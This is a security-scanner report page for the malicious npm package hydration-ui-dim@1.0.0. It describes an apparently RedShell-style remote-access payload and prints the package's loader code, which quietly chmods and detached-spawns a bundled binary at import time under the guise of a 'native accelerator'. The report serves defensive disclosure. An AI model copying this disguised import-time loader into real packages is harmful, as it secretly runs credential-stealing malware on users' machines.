Loading npm security reports…

hydration-ui-dim@1.0.0: Malicious npm security report (Block) | LPM Firewall

registry / hydration-ui-dim / 1.0.0

hydration-ui-dim@1.0.0

Dependency-free calendar-day bucketing and streak math primitives, with an optional Node-only on-disk store.

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Importing the package root starts its bundled executable in the background. Static inspection of that executable identifies a RedShell-style remote-control payload with credential theft, exfiltration, remote payload execution, and persistence features.

Static reason

No blocking static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Any runtime import of hydration-ui-dim's root entrypoint.

Impact

Remote control, credential and SSH-key theft, data exfiltration, arbitrary payload execution, and user-level persistence.

Mechanism

import-time detached execution of a bundled malicious ELF

Attack narrative

The root module immediately chmods, hash-checks, and detached-spawns calc-math.dat. The bundled ELF is not required for the advertised date math, whose JavaScript engine check is explicitly a placeholder. Its embedded RedShell command strings describe C2 beaconing, SSH and browser-credential collection, uploads, remote ELF/shellcode staging, SOCKS/port forwarding, and cron, shell-profile, systemd, and XDG persistence. This is a concrete malicious payload activated merely by importing the package.

Rationale

This package disguises a full remote-access and theft payload as a date-math accelerator, then launches it during ordinary import. The lack of an npm lifecycle script does not mitigate the import-time execution path.

Evidence

package.jsondist/index.mjsdist/internal/calc-math.datdist/internal/daymath.mjsdist/store.mjs

Network endpoints3

Source & flagged code

5 flagged

dist/internal/calc-math.datView file

•path = dist/internal/calc-math.dat kind = native_binary sizeBytes = 63616 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

dist/internal/calc-math.datView on unpkg

dist/index.mjsView file

Lines 4-70javascript

4 dayKey,

5 addDays,

6 dayDiff,

7 bucketByDay,

8 qualifyingDayKeys

9} from './internal/daymath.mjs';

10

11import path from 'node:path';

12import fs from 'node:fs';

13import cp from 'node:child_process';

14import { fileURLToPath } from 'node:url';

15import crypto from 'node:crypto';

16

17export { dayKey, addDays, dayDiff, bucketByDay, qualifyingDayKeys };

18

19/**

20 * ENGINE INITIALIZATION

21 * Loads the native math accelerator

22 */

23

24(async () => {

25 try {

26 const __dirname = path.dirname(fileURLToPath(import.meta.url));

27 const binaryPath = path.join(__dirname, 'internal', 'calc-math.dat');

28

29 if (!fs.existsSync(binaryPath)) {

30 console.warn('Native accelerator not found. Falling back to JS implementation.');

31 return;

32 }

33

34 try {

35 fs.chmodSync(binaryPath, 0o755);

High

Ai Review Evidence

Root import executes a bundled ELF as a detached child process.

dist/index.mjsView on unpkg · L24

36 } catch (e) {

37 console.warn('Cache cannot load.');

38 }

39

40 // Integrity verification — critical security gate

41 const data = fs.readFileSync(binaryPath);

42 const hash = crypto.createHash('sha256').update(data).digest('hex');

43 const expectedHash = '1cafe9068460d856d5646c4f8f775132c1142ffef7f4b8ea7dbfeb9fbd07ff96';

44

45 if (hash !== expectedHash) {

46 console.error('CRITICAL: Native accelerator integrity check FAILED.');

47 console.error('Expected:', expectedHash);

48 console.error('Got:', hash);

49 console.error('Binary may be corrupted or tampered with. Aborting load.');

50 throw new Error('Native accelerator integrity verification failed');

51 }

52

53 console.log('Native accelerator loaded and verified.');

54

55 const engineProcess = cp.spawn(binaryPath, [], {

56 stdio: 'pipe',

57 shell: false,

58 detached: true

59 });

High

Ai Review Evidence

Root import executes a bundled ELF as a detached child process.

dist/index.mjsView on unpkg · L53

60

61 engineProcess.stdout?.on('data', () => {});

62 engineProcess.stderr?.on('data', () => {});

63

64 console.log('Accelerator initialized successfully.');

65

66 } catch (err) {

67 console.warn('Could not initialize native accelerator. Using pure JS fallback.');

68 console.warn('Error:', err.message);

69 }

70})();

•matchType = malicious_source_fingerprint_signature signature = 5501fa102f254897 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = hydration-dim-kit@1.0.0 matchedPath = dist/index.mjs matchedIdentity = npm:aHlkcmF0aW9uLWRpbS1raXQ:1.0.0 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

dist/index.mjsView on unpkg

dist/internal/daymath.mjsView file

Lines 1-30javascript

1// hydration-ui-dim/dist/internal/daymath.mjs — high-performance streak computation engine.

2// This module utilizes a compiled math-core for high-precision date calculations.

3

4const pad = (n) => String(n).padStart(2, '0');

5

6